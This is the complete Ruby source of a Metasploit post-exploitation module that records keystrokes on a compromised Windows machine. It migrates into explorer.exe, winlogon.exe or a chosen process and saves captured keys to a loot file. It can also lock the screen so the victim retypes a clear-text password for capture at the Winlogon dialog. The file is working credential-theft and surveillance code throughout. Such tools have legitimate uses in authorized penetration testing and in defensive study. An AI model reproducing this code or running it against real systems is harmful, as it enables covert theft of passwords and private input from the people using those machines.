392 lines
13 KiB
Ruby
392 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'English'
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::File
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Capture Keystroke Recorder',
|
|
'Description' => %q{
|
|
This module can be used to capture keystrokes. To capture keystrokes when the session is running
|
|
as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of
|
|
Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the
|
|
Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session
|
|
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
|
|
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
|
|
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
|
|
password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
|
'Josh Hale <jhale85446[at]gmail.com>'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter', ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_migrate
|
|
stdapi_railgun_api
|
|
stdapi_sys_config_getuid
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_getpid
|
|
stdapi_ui_get_keys_utf8
|
|
stdapi_ui_start_keyscan
|
|
stdapi_ui_stop_keyscan
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
|
|
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
|
|
OptInt.new('INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
|
|
OptInt.new('PID', [false, 'Process ID to migrate to', nil]),
|
|
OptEnum.new('CAPTURE_TYPE', [
|
|
false, 'Capture keystrokes for Explorer, Winlogon or PID',
|
|
'explorer', ['explorer', 'winlogon', 'pid']
|
|
])
|
|
|
|
]
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
|
|
OptEnum.new('TimeOutAction', [
|
|
true, 'Action to take when session response timeout occurs.',
|
|
'wait', ['wait', 'exit']
|
|
])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
print_status("Executing module against #{sysinfo['Computer']}")
|
|
if datastore['MIGRATE']
|
|
if datastore['CAPTURE_TYPE'] == 'pid'
|
|
return unless migrate_pid(datastore['PID'], session.sys.process.getpid)
|
|
else
|
|
return unless process_migrate
|
|
end
|
|
end
|
|
|
|
lock_screen if datastore['LOCKSCREEN'] && get_process_name == 'winlogon.exe'
|
|
|
|
if start_keylogger
|
|
@logfile = set_log
|
|
keycap
|
|
end
|
|
end
|
|
|
|
# Initial Setup values
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def setup
|
|
@logfile = nil
|
|
@timed_out = false
|
|
@timed_out_age = nil # Session age when it timed out
|
|
@interval = datastore['INTERVAL'].to_i
|
|
@wait = datastore['TimeOutAction'] == 'wait'
|
|
|
|
if @interval < 1
|
|
print_error('INTERVAL value out of bounds. Setting to 5.')
|
|
@interval = 5
|
|
end
|
|
end
|
|
|
|
# This function sets the log file and loot entry.
|
|
#
|
|
# @return [StringClass] Returns the path name to the stored loot filename
|
|
def set_log
|
|
store_loot('host.windows.keystrokes', 'text/plain', session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now}\n\n", 'keystrokes.txt', 'User Keystrokes')
|
|
end
|
|
|
|
# This writes a timestamp event to the output file.
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def time_stamp(event)
|
|
file_local_write(@logfile, "\nKeylog Recorder #{event} at #{Time.now}\n\n")
|
|
end
|
|
|
|
# This locks the Windows screen if so requested in the datastore.
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def lock_screen
|
|
print_status('Locking the desktop...')
|
|
lock_info = session.railgun.user32.LockWorkStation()
|
|
if lock_info['GetLastError'] == 0
|
|
print_status('Screen has been locked')
|
|
else
|
|
print_error('Screen lock failed')
|
|
end
|
|
end
|
|
|
|
# This function returns the process name that the session is running in.
|
|
#
|
|
# Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
|
#
|
|
# @return [String Class] the session process's name
|
|
# @return [NilClass] Session match was not found
|
|
def get_process_name
|
|
processes = client.sys.process.get_processes
|
|
current_pid = session.sys.process.getpid
|
|
processes.each do |proc|
|
|
return proc['name'] if proc['pid'] == current_pid
|
|
end
|
|
return nil
|
|
end
|
|
|
|
# This function evaluates the capture type and migrates accordingly.
|
|
# In the event of errors, it will default to the explorer capture type.
|
|
#
|
|
# @return [TrueClass] if it successfully migrated
|
|
# @return [FalseClass] if it failed to migrate
|
|
def process_migrate
|
|
captype = datastore['CAPTURE_TYPE']
|
|
|
|
if captype == 'winlogon'
|
|
if is_uac_enabled? && !is_admin?
|
|
print_error('UAC is enabled on this host! Winlogon migration will be blocked. Exiting...')
|
|
return false
|
|
else
|
|
return migrate(get_pid('winlogon.exe'), 'winlogon.exe', session.sys.process.getpid)
|
|
end
|
|
end
|
|
|
|
return migrate(get_pid('explorer.exe'), 'explorer.exe', session.sys.process.getpid)
|
|
end
|
|
|
|
# This function returns the first process id of a process with the name provided.
|
|
# It will make sure that the process has a visible user meaning that the session has rights to that process.
|
|
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
|
#
|
|
# @return [Integer] the PID if one is found
|
|
# @return [NilClass] if no PID was found
|
|
def get_pid(proc_name)
|
|
processes = client.sys.process.get_processes
|
|
processes.each do |proc|
|
|
if proc['name'] == proc_name && proc['user'] != ''
|
|
return proc['pid']
|
|
end
|
|
end
|
|
return nil
|
|
end
|
|
|
|
# This function attempts to migrate to the specified process by Name.
|
|
#
|
|
# @return [TrueClass] if it successfully migrated
|
|
# @return [FalseClass] if it failed to migrate
|
|
def migrate(target_pid, proc_name, current_pid)
|
|
if !target_pid
|
|
print_error("Could not migrate to #{proc_name}. Exiting...")
|
|
return false
|
|
end
|
|
|
|
print_status("Trying #{proc_name} (#{target_pid})")
|
|
|
|
if target_pid == current_pid
|
|
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
|
return true
|
|
end
|
|
|
|
begin
|
|
client.core.migrate(target_pid)
|
|
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
|
return true
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Could not migrate to #{proc_name}. Exiting...")
|
|
print_error(e.to_s)
|
|
return false
|
|
end
|
|
end
|
|
|
|
# This function attempts to migrate to the specified process by PID only.
|
|
#
|
|
# @return [TrueClass] if it successfully migrated
|
|
# @return [FalseClass] if it failed to migrate
|
|
def migrate_pid(target_pid, current_pid)
|
|
if !target_pid
|
|
print_error("Could not migrate to PID #{target_pid}. Exiting...")
|
|
return false
|
|
end
|
|
|
|
if !has_pid?(target_pid)
|
|
print_error("Could not migrate to PID #{target_pid}. Does not exist! Exiting...")
|
|
return false
|
|
end
|
|
|
|
print_status("Trying PID: #{target_pid}")
|
|
|
|
if target_pid == current_pid
|
|
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
|
return true
|
|
end
|
|
|
|
begin
|
|
client.core.migrate(target_pid)
|
|
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
|
return true
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Could not migrate to PID #{target_pid}. Exiting...")
|
|
print_error(e.to_s)
|
|
return false
|
|
end
|
|
end
|
|
|
|
# This function starts the keylogger
|
|
#
|
|
# @return [TrueClass] keylogger started successfully
|
|
# @return [FalseClass] keylogger failed to start
|
|
def start_keylogger
|
|
begin
|
|
# Stop keyscan if it was already running for some reason.
|
|
session.ui.keyscan_stop
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
begin
|
|
print_status('Starting the keylog recorder...')
|
|
session.ui.keyscan_start
|
|
return true
|
|
rescue StandardError
|
|
print_error("Failed to start the keylog recorder: #{$ERROR_INFO}")
|
|
return false
|
|
end
|
|
end
|
|
|
|
# This function dumps the keyscan and uses the API function to parse
|
|
# the extracted keystrokes.
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def write_keylog_data
|
|
output = session.ui.keyscan_dump
|
|
|
|
if !output.empty?
|
|
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
|
|
file_local_write(@logfile, "#{output}\n")
|
|
end
|
|
end
|
|
|
|
# This function manages the key recording process
|
|
# It stops the process if the session is killed or goes stale
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def keycap
|
|
rec = 1
|
|
print_status("Keystrokes being saved in to #{@logfile}")
|
|
print_status('Recording keystrokes...')
|
|
|
|
while rec == 1
|
|
begin
|
|
sleep(@interval)
|
|
if session_good?
|
|
write_keylog_data
|
|
elsif !session.alive?
|
|
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
|
|
rec = 0
|
|
end
|
|
rescue ::Exception => e
|
|
if e.class.to_s == 'Rex::TimeoutError'
|
|
@timed_out_age = get_session_age
|
|
@timed_out = true
|
|
|
|
if @wait
|
|
time_stamp('timed out - now waiting')
|
|
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
|
|
else
|
|
time_stamp('timed out - exiting')
|
|
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
|
|
rec = 0
|
|
end
|
|
elsif e.class.to_s == 'Interrupt'
|
|
print_status('User interrupt.')
|
|
rec = 0
|
|
else
|
|
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
|
|
@timed_out = true
|
|
rec = 0
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# This function returns the number of seconds since the last time
|
|
# that the session checked in.
|
|
#
|
|
# @return [Integer Class] Number of seconds since last checkin
|
|
def get_session_age
|
|
return Time.now.to_i - session.last_checkin.to_i
|
|
end
|
|
|
|
# This function makes sure a session is still alive acording to the Framework.
|
|
# It also checks the timed_out flag. Upon resume of session it resets the flag so
|
|
# that logging can start again.
|
|
#
|
|
# @return [TrueClass] Session is still alive (Framework) and not timed out
|
|
# @return [FalseClass] Session is dead or timed out
|
|
def session_good?
|
|
return false if !session.alive?
|
|
|
|
if @timed_out
|
|
if get_session_age < @timed_out_age && @wait
|
|
time_stamp('resumed')
|
|
@timed_out = false # reset timed out to false, if module set to wait and session becomes active again.
|
|
end
|
|
return !@timed_out
|
|
end
|
|
return true
|
|
end
|
|
|
|
# This function writes off the last set of key strokes
|
|
# and shuts down the key logger
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def finish_up
|
|
print_status('Shutting down keylog recorder. Please wait...')
|
|
|
|
last_known_timeout = session.response_timeout
|
|
session.response_timeout = 20 # Change timeout so job will exit in 20 seconds if session is unresponsive
|
|
|
|
begin
|
|
sleep(@interval)
|
|
write_keylog_data
|
|
rescue ::Exception => e
|
|
print_error("Keylog recorder encountered error: #{e.class} (#{e}) Exiting...") if e.class.to_s != 'Rex::TimeoutError' # Don't care about timeout, just exit
|
|
session.response_timeout = last_known_timeout
|
|
return
|
|
end
|
|
begin
|
|
session.ui.keyscan_stop
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
session.response_timeout = last_known_timeout
|
|
end
|
|
|
|
# This function cleans up the module.
|
|
# finish_up was added for a clean exit when this module is run as a job.
|
|
#
|
|
# Known Issue: This appears to run twice when killing the job. Not sure why.
|
|
# Does not cause issues with output or errors.
|
|
#
|
|
# @return [void] A useful return value is not expected here
|
|
def cleanup
|
|
if @logfile # make sure there is a log file meaning keylog started and migration was successful, if used.
|
|
finish_up if session_good?
|
|
time_stamp('exited')
|
|
end
|
|
end
|
|
end
|